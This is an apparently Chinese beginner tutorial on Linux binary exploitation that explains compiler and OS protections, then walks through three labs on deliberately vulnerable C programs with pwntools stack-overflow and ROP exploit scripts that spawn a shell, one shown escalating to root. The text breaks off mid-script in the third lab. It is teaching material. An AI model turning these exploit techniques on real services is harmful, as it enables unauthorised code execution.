你的浏览器版本过低，可能导致网站不能正常访问！
为了你能正常使用网站功能，请使用这些浏览器。

st-img
chrome st-img
firefox st-img
safari st-img
ie8及以上

菜鸟学习linux pwn入门的一些过程

[复制链接]
gaosmile 发布时间：2020-9-13 14:01
PWN是一个黑客语法的俚语词，自”own”这个字引申出来的，意为玩家在整个游戏对战中处在胜利的优势。本文记录菜鸟学习linux pwn入门的一些过程，详细介绍linux上的保护机制，分析一些常见漏洞如栈溢出,堆溢出，use after free等,以及一些常见工具介绍等。
linux程序的常用保护机制
先来学习一些关于linux方面的保护措施，操作系统提供了许多安全机制来尝试降低或阻止缓冲区溢出攻击带来的安全风险，包括DEP、ASLR等。从checksec入手来学习linux的保护措施。checksec可以检查可执行文件各种安全属性，包括Arch,RELRO,Stack,NX，PIE等。
pip安装pwntools后自带checksec检查elf文件.

  2. checksec xxxx.soArch:     aarch64-64-littleRELRO:    Full RELROStack:    Canary foundNX:       NX enabledPIE:      PIE enabled
复制代码

  2. brew install binutils
复制代码

  • 另外笔者操作系统为macOS,一些常用的linux命令如readelf需要另外brew install binutils安装

    2. wget http://github.com/slimm609/checksec.sh/archive/2.1.0.tar.gz
    3. tar xvf 2.1.0.tar.gz
    4. ./checksec.sh-2.1.0/checksec --file=xxx
    复制代码


微信图片_20200913135544.jpg
  • gdb里peda插件里自带的checksec功能

    2. gdb level4  //加载目标程序
    3. gdb-peda$ checksec
    4. CANARY    : disabled
    5. FORTIFY   : disabled
    6. NX        : ENABLED
    7. PIE       : disabled
    8. RELRO     : Partial
    复制代码


CANNARY金丝雀(栈保护)/Stack protect/栈溢出保护
栈溢出保护是一种缓冲区溢出攻击缓解手段，当函数存在缓冲区溢出攻击漏洞时，攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后，函数开始执行的时候会先往栈里插入cookie信息，当函数真正返回的时候会验证cookie信息是否合法，如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉，导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary/金丝雀。gcc在4.2版本中添加了-fstack-protector和-fstack-protector-all编译参数以支持栈保护功能，4.9新增了-fstack-protector-strong编译参数让保护的范围更广。
开启命令如下:

  2. gcc -o test test.c                       // 默认情况下，开启Canary保护
  3. gcc -fno-stack-protector  -o test test.c //禁用栈保护
  4. gcc -fstack-protector     -o test test.c //启用堆栈保护，不过只为局部变量中含有 char 数组的函数插入保护代码
复制代码

  2. gcc -fstack-protector-all -o test test.c //启用堆栈保护，为所有函数插入保护代码
复制代码


FORTIFY/轻微的检查
fority其实非常轻微的检查，用于检查是否存在缓冲区溢出的错误。适用情形是程序采用大量的字符串或者内存操作函数，如memcpy，memset，strcpy，strncpy，strcat，strncat，sprintf，snprintf，vsprintf，vsnprintf，gets以及宽字符的变体。FORTIFY_SOURCE设为1，并且将编译器设置为优化1(gcc -O1)，以及出现上述情形，那么程序编译时就会进行检查但又不会改变程序功能 开启命令如下:

  2. gcc -o test test.c                    // 默认情况下，不会开这个检查gcc -D_FORTIFY_SOURCE=1 -o test test.c // 较弱的检查gcc -D_FORTIFY_SOURCE=1 仅仅只会在编译时进行检查 (特别像某些头文件 #include <string.h>)_FORTIFY_SOURCE设为1，并且将编译器设置为优化1(gcc -O1)，以及出现上述情形，那么程序编译时就会进行检查但又不会改变程序功能gcc -D_FORTIFY_SOURCE=2 -o test test.c // 较强的检查gcc -D_FORTIFY_SOURCE=2 程序执行时也会有检查 (如果检查到缓冲区溢出，就终止程序)_FORTIFY_SOURCE设为2，有些检查功能会加入，但是这可能导致程序崩溃。
复制代码

看编译后的二进制汇编我们可以看到gcc生成了一些附加代码，通过对数组大小的判断替换strcpy, memcpy, memset等函数名，达到防止缓冲区溢出的作用。
NX/DEP/数据执行保护
数据执行保护(DEP)（Data Execution Prevention） 是一套软硬件技术，能够在内存上执行额外检查以帮助防止在系统上运行恶意代码。在 Microsoft Windows XP Service Pack 2及以上版本的Windows中，由硬件和软件一起强制实施 DEP。支持 DEP 的 CPU 利用一种叫做NX(No eXecute) 不执行”的技术识别标记出来的区域。如果发现当前执行的代码没有明确标记为可执行（例如程序执行后由病毒溢出到代码执行区的那部分代码），则禁止其执行，那么利用溢出攻击的病毒或网络攻击就无法利用溢出进行破坏了。如果 CPU 不支持 DEP，Windows 会以软件方式模拟出 DEP 的部分功能。NX即No-eXecute（不可执行）的意思，NX（DEP）的基本原理是将数据所在内存页标识为不可执行，当程序溢出成功转入shellcode时，程序会尝试在数据页面上执行指令，此时CPU就会抛出异常，而不是去执行恶意指令。
开启命令如下:

  2. gcc -o test test.c // 默认情况下，开启NX保护
  3. gcc -z execstack -o test test.c // 禁用NX保护
  4. gcc -z noexecstack -o test test.c // 开启NX保护
复制代码

在Windows下，类似的概念为DEP（数据执行保护），在最新版的Visual Studio中默认开启了DEP编译选项。
ASLR (Address space layout randomization)
ASLR是一种针对缓冲区溢出的安全保护技术，通过对堆、栈、共享库映射等线性区布局的随机化，通过增加攻击者预测目的地址的难度，防止攻击者直接定位攻击代码位置，达到阻止溢出攻击的目的。如今Linux、FreeBSD、Windows等主流操作系统都已采用了该技术。此技术需要操作系统和软件相配合。ASLR在linux中使用此技术后，杀死某程序后重新开启,地址就会会改变
在Linux上 关闭ASLR，切换至root用户，输入命令

  2. echo 0 > /proc/sys/kernel/randomize_va_space
复制代码

开启ASLR，切换至root用户，输入命令

  2. echo 2 > /proc/sys/kernel/randomize_va_space
复制代码

上面的序号代表意思如下:
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址，stack和vdso页面随机化。
2 - 表示在1的基础上增加栈（heap）的随机化。
可以防范基于Ret2libc方式的针对DEP的攻击。ASLR和DEP配合使用，能有效阻止攻击者在堆栈上运行恶意代码。
PIE和PIC
PIE最早由RedHat的人实现，他在连接起上增加了-pie选项，这样使用-fPIE编译的对象就能通过连接器得到位置无关可执行程序。fPIE和fPIC有些不同。-fPIC与-fpic都是在编译时加入的选项，用于生成位置无关的代码(Position-Independent-Code)。这两个选项都是可以使代码在加载到内存时使用相对地址，所有对固定地址的访问都通过全局偏移表(GOT)来实现。-fPIC和-fpic最大的区别在于是否对GOT的大小有限制。-fPIC对GOT表大小无限制，所以如果在不确定的情况下，使用-fPIC是更好的选择。-fPIE与-fpie是等价的。这个选项与-fPIC/-fpic大致相同，不同点在于：-fPIC用于生成动态库，-fPIE用与生成可执行文件。再说得直白一点：-fPIE用来生成位置无关的可执行代码。
PIE和ASLR不是一样的作用，ASLR只能对堆、栈,libc和mmap随机化，而不能对如代码段，数据段随机化，使用PIE+ASLR则可以对代码段和数据段随机化。区别是ASLR是系统功能选项，PIE和PIC是编译器功能选项。联系点在于在开启ASLR之后，PIE才会生效。
开启命令如下:

  2. gcc -o test test.c                 // 默认情况下，不开启PIE
  3. gcc -fpie -pie -o test test.c     // 开启PIE，此时强度为1
  4. gcc -fPIE -pie -o test test.c     // 开启PIE，此时为最高强度2
  5. gcc -fpic -o test test.c         // 开启PIC，此时强度为1，不会开启PIE
  6. gcc -fPIC -o test test.c         // 开启PIC，此时为最高强度2，不会开启PIE
复制代码


RELRO(read only relocation)
在很多时候利用漏洞时可以写的内存区域通常是黑客攻击的目标，尤其是存储函数指针的区域。而动态链接的ELF二进制文件使用称为全局偏移表（GOT）的查找表来动态解析共享库中的函数，GOT就成为了黑客关注的目标之一，
GCC, GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术: read only relocation。大概实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域,GOT为只读.设置符号重定向表为只读或在程序启动时就解析并绑定所有动态符号，从而减少对GOT（Global Offset Table）攻击。如果RELRO为 “Partial RELRO”，说明我们对GOT表具有写权限。
开启命令如下:

  2. gcc -o test test.c              // 默认情况下，是Partial RELRO
  3. gcc -z norelro -o test test.c   // 关闭，即No RELRO
  4. gcc -z lazy -o test test.c      // 部分开启，即Partial RELRO
  5. gcc -z now -o test test.c       // 全部开启
复制代码

开启FullRELRO后写利用时就不能复写got表。
pwn工具常见整合pwntools
pwntools是一个二进制利用框架,网上关于pwntools的用法教程很多，学好pwntools对于做漏洞的利用和理解漏洞有很好的帮助。可以利用pwntools库开发基于python的漏洞利用脚本。
pycharm
pycharm可以实时调试和编写攻击脚本，提高了写利用的效率。
在远程主机上执行

  2. socat TCP4-LISTEN:10001,fork EXEC:./linux_x64_test1
复制代码

用pycharm工具开发pwn代码，远程连接程序进行pwn测试。需要设置环境变量 TERM=linux;TERMINFO=/etc/terminfo，并勾选 Emulate terminal in output coonsoole
微信图片_20200913135547.jpg
然后pwntools的python脚本使用远程连接

  2. p = remote('172.16.36.176', 10001)
复制代码


ida

  2. ...raw_input() # for debug...p.interactive()
复制代码

当pwntools开发的python脚本暂停时，远程ida可以附加查看信息
gdb附加

  2. #!/usr/bin/python
  3. # -*- coding: UTF-8 -*-
  4. import pwn
  5. ...
  6. # Get PID(s) of target. The returned PID(s) depends on the type of target:
  7. m_pid=pwn.proc.pidof(p)[0]
  8. print("attach %d" % m_pid)
  9. pwn.gdb.attach(m_pid) # 链接gdb调试，先在gdb界面按下n下一步返回python控制台enter继续(两窗口同步)

  11. print("\n##########sending payload##########\n")
  12. p.send(payload)

  14. pwn.pause()
  15. p.interactive()
复制代码


gdb插件枚举
1)PEDA - Python Exploit Development Assistance for GDB(http://github.com/longld/peda) 可以很清晰的查看到堆栈信息，寄存器和反汇编信息 git clone http://github.com/longld/peda.git~/panda/peda echo “source ~/panda/peda/peda.py” >> ~/.gdbinit
2)GDB Enhanced Features(http://github.com/hugsy/gef) peda的增强版，因为它支持更多的架构(ARM, MIPS, POWERPC…)，和更加强大的模块,并且和ida联动。
3)libheap(查看堆信息) pip3 install libheap —verbose
EDB附加
EDB 是一个可视化的跨平台调试器，跟win上的Ollydbg很像。
lldb插件
voltron & lisa。一个拥有舒服的ui界面，一个简洁但又拥有实用功能的插件。
voltron配合tmux会产生很好的效果，如下:
微信图片_20200913135551.jpg
实践
通过几个例子来了解常见的几种保护手段和熟悉常见的攻击手法。实践平台 ubuntu 14.16_x64
实践1栈溢出利用溢出改变程序走向
编译测试用例

  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <unistd.h>
  5. void callsystem()
  6. { system("/bin/sh"); }
  7. void vulnerable_function() {
  8.     char buf[128];
  9.     read(STDIN_FILENO, buf, 512);
  10. }
  11. int main(int argc, char** argv) {
  12.     write(STDOUT_FILENO, "Hello, World\n", 13);
  13. // /dev/stdin    fd/0
  14. // /dev/stdout   fd/1
  15. // /dev/stderr   fd/2
  16.     vulnerable_function();
  17. }
  18. 编译方法：#!bashgcc -fno-stack-protector linux_x64_test1.c -o linux_x64_test1 -ldl //禁用栈保护
复制代码

检测如下:

  2. gdb-peda$ checksec linux_x64_test1
  3. CANARY    : disabled
  4. FORTIFY   : disabled
  5. NX        : ENABLED
  6. PIE       : disabled
  7. RELRO     : Partial
复制代码

发现没有栈保护，没有CANARY保护
生成构造的数据
这里用到一个脚本pattern.py来生成随机数据，来自这里

  2. python2 pattern.py create 150
  3. Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
复制代码


获取到溢出偏移
用lldb进行调试

  2. panda@ubuntu:~/Desktop/test$ lldb linux_x64_test1
  3. (lldb) target create "linux_x64_test1"
  4. Current executable set to 'linux_x64_test1' (x86_64).
  5. (lldb) run
  6. Process 117360 launched: '/home/panda/Desktop/test/linux_x64_test1' (x86_64)
  7. Hello, World
  8. Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
  9. Process 117360 stopped
  10. * thread #1: tid = 117360, 0x00000000004005e7 linux_x64_test1`vulnerable_function + 32, name = 'linux_x64_test1', stop reason = signal SIGSEGV: invalid address (fault address: 0x0)
  11.     frame #0: 0x00000000004005e7 linux_x64_test1`vulnerable_function + 32
  12. linux_x64_test1`vulnerable_function:
  13. ->  0x4005e7 <+32>: retq

  15. linux_x64_test1`main:
  16.     0x4005e8 <+0>:  pushq  %rbp
  17.     0x4005e9 <+1>:  movq   %rsp, %rbp
  18.     0x4005ec <+4>:  subq   $0x10, %rsp
  19. (lldb) x/xg $rsp
  20. 0x7fffffffdd58: 0x3765413665413565

  22. python2 pattern.py offset 0x3765413665413565
  23. hex pattern decoded as: e5Ae6Ae7
  24. 136
复制代码

发现溢出字符串长度为 136+ret_address
获取 callsystem 函数地址
因为代码中存在辅助函数callsystem，直接获取地址

  2. panda@ubuntu:~/Desktop/test$ nm linux_x64_test1|grep call
  3. 00000000004005b6 T callsystem
复制代码


编写并测试利用_提权
pwntools是一个二进制利用框架，可以用python编写一些利用脚本，方便达到利用漏洞的目的，当然也可以用其他手段。

  2. import pwn

  4. # p = pwn.process("./linux_x64_test1")
  5. p = remote('172.16.36.174', 10002)
  6. callsystem_address = 0x00000000004005b6
  7. payload="A"*136 + pwn.p64(callsystem_address)

  9. p.send(payload)
  10. p.interactive()
复制代码

测试利用拿到shell

  2. panda@ubuntu:~/Desktop/test$ python test.py
  3. [+] Starting local process './linux_x64_test1': pid 117455
  4. [*] Switching to interactive mode
  5. Hello, World
  6. $ whoami
  7. panda
复制代码
  • 将二进制程序设置为服务端程序,后续文章不再说明

    2. socat TCP4-LISTEN:10001,fork EXEC:./linux_x64_test1
    复制代码


测试远程程序

  2. panda@ubuntu:~/Desktop/test$ python test2.py
  3. [+] Opening connection to 127.0.0.1 on port 10001: Done
  4. [*] Switching to interactive mode
  5. Hello, World
  6. $ whoami
  7. panda
复制代码
如果这个进程是root

    2. sudo socat TCP4-LISTEN:10001,fork EXEC:./linux_x64_test1
    复制代码


测试远程程序，提权成功

    2. panda@ubuntu:~/Desktop/test$ python test.py
    3. [+] Opening connection to 127.0.0.1 on port 10001: Done
    4. [*] Switching to interactive mode
    5. Hello, World
    6. $ whoami
    7. root
    复制代码

实践2栈溢出通过ROP绕过DEP和ASLR防护编译测试用例
开启ASLR后,libc地址会不断变化,这里先不讨论怎么获取真实system地址，用了一个辅助函数打印system地址。

  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <unistd.h>
  5. #include <dlfcn.h>
  6. void systemaddr()
  7. {
  8.     void* handle = dlopen("libc.so.6", RTLD_LAZY);
  9.     printf("%p\n",dlsym(handle,"system"));
  10.     fflush(stdout);
  11. }
  12. void vulnerable_function() {
  13.     char buf[128];
  14.     read(STDIN_FILENO, buf, 512);
  15. }
  16. int main(int argc, char** argv) {
  17.     systemaddr();
  18.     write(1, "Hello, World\n", 13);
  19.     vulnerable_function();
  20. }
复制代码

编译方法：

  2. #!bash
  3. gcc -fno-stack-protector linux_x64_test2.c -o linux_x64_test2 -ldl //禁用栈保护
复制代码

检测如下:

  2. gdb-peda$ checksec linux_x64_test2
  3. CANARY    : disabled
  4. FORTIFY   : disabled
  5. NX        : ENABLED
  6. PIE       : disabled
  7. RELRO     : Partial
复制代码

观察ASLR，运行两次,发现每次libc的system函数地址会变化，

  2. panda@ubuntu:~/Desktop/test$ ./linux_x64_test2
  3. 0x7f9d7d71a390
  4. Hello, World

  6. panda@ubuntu:~/Desktop/test$ ./linux_x64_test2
  7. 0x7fa84dc3d390
  8. Hello, World
复制代码

ROP简介
ROP的全称为Return-oriented programming（返回导向编程）,是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御（比如内存不可执行DEP和代码签名等）
寻找ROP
我们希望最后执行system(“/bin/sh”)，缓冲区溢出后传入”/bin/sh”的地址和函数system地址。我们想要的x64的gadget一般如下:

  2. pop rdi  // rdi="/bin/sh"
  3. ret      // call system_addr

  5. pop rdi  // rdi="/bin/sh"
  6. pop rax  // rax= system_addr
  7. call rax // call system_addr
复制代码

系统开启了aslr，只能通过相对偏移来计算gadget，在二进制中搜索，这里用到工具ROPgadget

  2. panda@ubuntu:~/Desktop/test$ ROPgadget --binary linux_x64_test2 --only "pop|sret"
  3. Gadgets information
  4. ============================================================

  6. Unique gadgets found: 0
复制代码

获取二进制的链接

  2. panda@ubuntu:~/Desktop/test$ ldd linux_x64_test2
  3.     linux-vdso.so.1 =>  (0x00007ffeae9ec000)
  4.     libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fdc0531f000)
  5.     libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fdc04f55000)
  6.     /lib64/ld-linux-x86-64.so.2 (0x00007fdc05523000)
复制代码

在库中搜索 pop ret

  2. panda@ubuntu:~/Desktop/test$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" |grep rdi
  3. 0x0000000000020256 : pop rdi ; pop rbp ; ret
  4. 0x0000000000021102 : pop rdi ; ret
复制代码

决定用 0x0000000000021102
在库中搜索 /bin/sh 字符串

  2. panda@ubuntu:~/Desktop/test$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --string "/bin/sh"
  3. Strings information
  4. ============================================================
  5. 0x000000000018cd57 : /bin/sh
复制代码


构造利用并测试
这里实现两种gadgets 实现利用目的，分别是version1和version2

  2. #!/usr/bin/python
  3. # -*- coding: UTF-8 -*-
  4. import pwn

  6. libc = pwn.ELF("./libc.so.6")
  7. # p = pwn.process("./linux_x64_test2")
  8. p = pwn.remote("127.0.0.1",10001)

  10. systema_addr_str = p.recvuntil("\n")
  11. systema_addr = int(systema_addr_str,16)  # now system addr

  13. binsh_static = 0x000000000018cd57
  14. binsh2_static = next(libc.search("/bin/sh"))

  16. print("binsh_static   = 0x%x" % binsh_static)
  17. print("binsh2_static  = 0x%x" % binsh2_static)

  19. binsh_offset = binsh2_static - libc.symbols["system"] # offset = static1 - static2
  20. print("binsh_offset   = 0x%x" % binsh_offset)

  22. binsh_addr = binsh_offset + systema_addr
  23. print("binsh_addr     = 0x%x" % binsh_addr)

  25. # version1
  26. # pop_ret_static = 0x0000000000021102 # pop rdi ; ret

  28. # pop_ret_offset = pop_ret_static - libc.symbols["system"]
  29. # print("pop_ret_offset = 0x%x" % pop_ret_offset)

  31. # pop_ret_addr = pop_ret_offset + systema_addr
  32. # print("pop_ret_addr   = 0x%x" % pop_ret_addr)

  34. # payload="A"*136 +pwn.p64(pop_ret_addr)+pwn.p64(binsh_addr)+pwn.p64(systema_addr)
  35. # binsh_addr      低   x64 第一个参数是rdi
  36. # systema_addr    高

  38. # version2
  39. pop_pop_call_static = 0x0000000000107419 #  pop rax ; pop rdi ; call rax
  40. pop_pop_call_offset = pop_pop_call_static - libc.symbols["system"]
  41. print("pop_pop_call_offset = 0x%x" % pop_pop_call_offset)

  43. pop_pop_call_addr = pop_pop_call_offset + systema_addr
  44. print("pop_pop_call_addr    = 0x%x" % pop_pop_call_addr)

  46. payload="A"*136 +pwn.p64(pop_pop_call_addr)+pwn.p64(systema_addr)+pwn.p64(binsh_addr)
  47. # systema_addr      低   pop rax
  48. # binsh_addr        高   pop rdi

  50. print("\n##########sending payload##########\n")
  51. p.send(payload)
  52. p.interactive()
复制代码

最后测试如下:

  2. panda@ubuntu:~/Desktop/test$ python test2.py
  3. [*] '/lib/x86_64-linux-gnu/libc.so.6'
  4.     Arch:     amd64-64-little
  5.     RELRO:    Partial RELRO
  6.     Stack:    Canary found
  7.     NX:       NX enabled
  8.     PIE:      PIE enabled
  9. [+] Starting local process './linux_x64_test2': pid 118889
  10. binsh_static   = 0x18cd57
  11. binsh2_static  = 0x18cd57
  12. binsh_offset   = 0x1479c7
  13. binsh_addr     = 0x7fc3018ffd57
  14. pop_ret_offset = 0x-2428e
  15. pop_ret_addr   = 0x7fc301794102

  17. ##########sending payload##########
  18. [*] Switching to interactive mode
  19. Hello, World
  20. $ whoami
  21. panda
复制代码


实践3栈溢出去掉辅助函数

  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <unistd.h>

  6. void vulnerable_function() {
  7.     char buf[128];
  8.     read(STDIN_FILENO, buf, 512);
  9. }
  10. int main(int argc, char** argv) {
  11.     write(STDOUT_FILENO, "Hello, World\n", 13);
  12.     vulnerable_function();
  13. }
  14. 编译方法：gcc -fno-stack-protector linux_x64_test3.c -o linux_x64_test3 -ldl //禁用栈保护
复制代码

检查防护

  2. gdb-peda$ checksec linux_x64_test3
  3. CANARY    : disabled
  4. FORTIFY   : disabled
  5. NX        : ENABLED
  6. PIE       : disabled
  7. RELRO     : Partial
  8. gdb-peda$ quit
复制代码


.bss段
相关概念：堆(heap)，栈(stack)，BSS段，数据段(data)，代码段(code /text)，全局静态区，文字常量区，程序代码区。
BSS段：BSS段（bss segment）通常是指用来存放程序中未初始化的全局变量的一块内存区域。
数据段：数据段（data segment）通常是指用来存放程序中已初始化的全局变量的一块内存区域。
代码段：代码段（code segment/text segment）通常是指用来存放程序执行代码的一块内存区域。这部分区域的大小在程序运行前就已经确定，并且内存区域通常属于只读, 某些架构也允许代码段为可写，即允许修改程序。在代码段中，也有可能包含一些只读的常数变量，例如字符串常量等。
堆（heap）：堆是用于存放进程运行中被动态分配的内存段，它的大小并不固定，可动态扩张或缩减。当进程调用malloc等函数分配内存时，新分配的内存就被动态添加到堆上（堆被扩张）；当利用free等函数释放内存时，被释放的内存从堆中被剔除（堆被缩减）。
栈(stack)：栈又称堆栈，用户存放程序临时创建的局部变量。在函数被调用时，其参数也会被压入发起调用的进程栈中，并且待到调用结束后，函数的返回值也会被存放回栈中。由于栈的后进先出特点，所以栈特别方便用来保存/恢复调用现场。
程序的.bss段中.bss段是用来保存全局变量的值的，地址固定，并且可以读可写。
[td]
NameTypeAddrOffSizeESFlgLkInfAl
名字类型起始地址文件的偏移地址区大小表区的大小区标志相关区索引其他区信息对齐字节数
‘

  2. panda@ubuntu:~/Desktop/test$ readelf -S linux_x64_test3
  3. There are 31 section headers, starting at offset 0x1a48:

  5. Section Headers:
  6.   [Nr] Name              Type             Address           Offset
  7.        Size              EntSize          Flags  Link  Info  Align
  8.   [24] .got.plt          PROGBITS         0000000000601000  00001000
  9.        0000000000000030  0000000000000008  WA       0     0     8
  10.   [25] .data             PROGBITS         0000000000601030  00001030
  11.        0000000000000010  0000000000000000  WA       0     0     8
  12.   [26] .bss              NOBITS           0000000000601040  00001040
  13.        0000000000000008  0000000000000000  WA       0     0     1
  14. Key to Flags:
  15.   W (write), A (alloc), X (execute), M (merge), S (strings), l (large)
  16.   I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  17.   O (extra OS processing required) o (OS specific), p (processor specific)
复制代码

寻找合适的gadget

  2. panda@ubuntu:~/Desktop/test$ objdump -d linux_x64_test3
  3. 00000000004005c0 <__libc_csu_init>:
  4.   4005c0:    41 57                    push   %r15
  5.   4005c2:    41 56                    push   %r14
  6.   4005c4:    41 89 ff                 mov    %edi,%r15d
  7.   4005c7:    41 55                    push   %r13
  8.   4005c9:    41 54                    push   %r12
  9.   4005cb:    4c 8d 25 3e 08 20 00     lea    0x20083e(%rip),%r12        # 600e10 <__frame_dummy_init_array_entry>
  10.   4005d2:    55                       push   %rbp
  11.   4005d3:    48 8d 2d 3e 08 20 00     lea    0x20083e(%rip),%rbp        # 600e18 <__init_array_end>
  12.   4005da:    53                       push   %rbx
  13.   4005db:    49 89 f6                 mov    %rsi,%r14
  14.   4005de:    49 89 d5                 mov    %rdx,%r13
  15.   4005e1:    4c 29 e5                 sub    %r12,%rbp
  16.   4005e4:    48 83 ec 08              sub    $0x8,%rsp
  17.   4005e8:    48 c1 fd 03              sar    $0x3,%rbp
  18.   4005ec:    e8 0f fe ff ff           callq  400400 <_init>
  19.   4005f1:    48 85 ed                 test   %rbp,%rbp
  20.   4005f4:    74 20                    je     400616 <__libc_csu_init+0x56>
  21.   4005f6:    31 db                    xor    %ebx,%ebx
  22.   4005f8:    0f 1f 84 00 00 00 00     nopl   0x0(%rax,%rax,1)
  23.   4005ff:    00

  25.   400600:    4c 89 ea                 mov    %r13,%rdx
  26.   400603:    4c 89 f6                 mov    %r14,%rsi
  27.   400606:    44 89 ff                 mov    %r15d,%edi
  28.   400609:    41 ff 14 dc              callq  *(%r12,%rbx,8)
  29.   40060d:    48 83 c3 01              add    $0x1,%rbx
  30.   400611:    48 39 eb                 cmp    %rbp,%rbx
  31.   400614:    75 ea                    jne    400600 <__libc_csu_init+0x40>
  32.   400616:    48 83 c4 08              add    $0x8,%rsp

  34.   40061a:    5b                       pop    %rbx
  35.   40061b:    5d                       pop    %rbp
  36.   40061c:    41 5c                    pop    %r12
  37.   40061e:    41 5d                    pop    %r13
  38.   400620:    41 5e                    pop    %r14
  39.   400622:    41 5f                    pop    %r15
  40.   400624:    c3                       retq   
  41.   400625:    90                       nop
  42.   400626:    66 2e 0f 1f 84 00 00     nopw   %cs:0x0(%rax,%rax,1)
  43.   40062d:    00 00 00
复制代码

程序自己的 __libc_csu_init 函数，没开PIE.
疑问:
  • 这里可以直接write出got_system吗？既然都得到got_write这个是静态地址，还能去调用，难道got表函数随便调用不变？got_system 存储了实际的 libc-2.23.so!write 地址，所以去执行 got_system 然后打印出实际地址
    微信图片_20200913135554.jpg
  • 为什么不传递 “/bin/sh”的字符串地址到最后调用的system(“/bin/sh”),而是将”/bin/sh”写入 bss段 因为这里rdi=r15d=param1 r15d 32-bit 所以不能传递给rdi 64-bit的 “/bin/sh” 字符串地址，所以必须写入到可写bss段，因为程序段就32-bit


    2. 00007f76:f3c0bd57|2f 62 69 6e 2f 73 68 00 65                     |/bin/sh.e       |
    复制代码

    2. // /dev/stdin    fd/0
    3. // /dev/stdout   fd/1
    4. // /dev/stderr   fd/2
    复制代码


总结:
返回到 0x40061a 控制rbx,rbp,r12,r13,r14,r15
返回到 0x400600 执行rdx=r13 rsi=r14 rdi=r15d call callq *(%r12,%rbx,8)
使 rbx=0 这样最后就可以callq *(r12+rbx*8)=callq *(r12)可以构造rop使之能执行任意函数
需要泄露真实 libc.so 在内存中的地址才能拿到system_addr,才能getshell,那么返回调用got_write(rdi=1,rsi=got_write,rdx=8)，从服务端返回write_addr，通过write_addr减去 - write_static/libc.symbols[‘write’]和system_static/libc.symbols[‘system’] 的差值得到 system_addr，然后返回到main重新开始，但并没有结束进程
返回调用got_read(rdi=0,bss_addr,16),相当于执行got_read(rdi=0,bss_addr,8),got_read(rdi=0,bss_addr+8,8),发送 system_addr,”/bin/sh”,然后返回到main重新开始，但并没有结束进程
返回到bss_addr(bss_addr+8) -> system_addr(binsh_addr)
开始构造ROP
查看got表

  2. panda@ubuntu:~/Desktop/test$ objdump -R linux_x64_test3

  4. linux_x64_test3:     file format elf64-x86-64

  6. DYNAMIC RELOCATION RECORDS
  7. OFFSET           TYPE              VALUE
  8. 0000000000600ff8 R_X86_64_GLOB_DAT  __gmon_start__
  9. 0000000000601018 R_X86_64_JUMP_SLOT  write@GLIBC_2.2.5
  10. 0000000000601020 R_X86_64_JUMP_SLOT  read@GLIBC_2.2.5
  11. 0000000000601028 R_X86_64_JUMP_SLOT  __libc_start_main@GLIBC_2.2.5
复制代码

然后利用代码如下:

  2. #!/usr/bin/python
  3. # -*- coding: UTF-8 -*-

  5. from pwn import *

  7. libc_elf = ELF("/lib/x86_64-linux-gnu/libc.so.6")
  8. linux_x64_test3_elf = ELF("./linux_x64_test3")

  10. # p = process("./linux_x64_test3")
  11. p = remote("127.0.0.1",10001)

  13. pop_rbx_rbp_r12_r13_r14_r15_ret = 0x40061a
  14. print("[+] pop_rbx_rbp_r12_r13_r14_r15_ret = 0x%x" % pop_rbx_rbp_r12_r13_r14_r15_ret)
  15. rdx_rsi_rdi_callr12_ret = 0x400600
  16. print("[+] rdx_rsi_rdi_callr12_ret = 0x%x" %  rdx_rsi_rdi_callr12_ret)

  18. """
  19. 0000000000601018 R_X86_64_JUMP_SLOT  write@GLIBC_2.2.5
  20. 0000000000601020 R_X86_64_JUMP_SLOT  read@GLIBC_2.2.5
  21. """
  22. got_write =0x0000000000601018
  23. print("[+] got_write = 0x%x" % got_write)

  25. got_write2=linux_x64_test3_elf.got["write"]
  26. print("[+] got_write2 = 0x%x" %  got_write2)

  28. got_read = 0x0000000000601020
  29. got_read2=linux_x64_test3_elf.got["read"]

  31. """
  32. 0000000000400587 <main>:
  33.   400587:    55                       push   %rbp
  34. """
  35. main_static = 0x0000000000400587

  37. # call got_write(rdi=1,rsi=got_write, rdx=8)
  38. # rdi=r15d=param1  rsi=r14=param2 rdx=r13=param3  r12=call_address
  39. payload1 ="A"*136 + p64(pop_rbx_rbp_r12_r13_r14_r15_ret) # ret address  : p64(pop_rbx_rbp_r12_r13_r14_r15_ret)
  40. payload1 += p64(0)+ p64(1)                               # rbx=0 rbp=1  : p64(0)+ p64(1)
  41. payload1 += p64(got_write)                               # call_address : got_write
  42. payload1 += p64(8)                                       # param3       : 8
  43. payload1 += p64(got_write)                               # param2       : got_write
  44. payload1 += p64(1)                                       # param1       : 1

  46. payload1 += p64(rdx_rsi_rdi_callr12_ret)                 # call r12
  47. payload1 += p64(0)*7                                     # add    $0x8,%rsp # 6 pop
  48. payload1 += p64(main_static)                             # return main

  50. p.recvuntil('Hello, World\n')

  52. print("[+] send payload1 call got_write(rdi=1,rsi=got_write, rdx=8)")
  53. p.send(payload1)
